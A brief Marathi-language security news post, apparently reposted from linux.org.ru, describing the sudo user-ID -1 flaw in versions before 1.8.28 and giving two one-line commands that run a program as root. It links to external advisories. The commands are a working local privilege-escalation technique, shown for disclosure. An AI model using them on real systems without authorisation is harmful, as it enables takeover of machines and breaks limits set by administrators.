sudo असुरक्षा

sudo मधील बग तुम्हाला कोणतीही एक्झिक्युटेबल फाइल रूट म्हणून कार्यान्वित करण्याची परवानगी देतो जर /etc/sudoers इतर वापरकर्त्यांद्वारे कार्यान्वित करण्याची परवानगी देत ​​असेल आणि रूटसाठी प्रतिबंधित असेल.

त्रुटीचे शोषण अगदी सोपे आहे:

sudo -u#-1 id -u

किंवा:

sudo -u#4294967295 id -u

1.8.28 पूर्वी sudo च्या सर्व आवृत्त्यांमध्ये त्रुटी उपस्थित आहे

तपशीलः

https://thehackernews.com/2019/10/linux-sudo-run-as-root-flaw.html

https://www.sudo.ws/alerts/minus_1_uid.html

स्त्रोत: linux.org.ru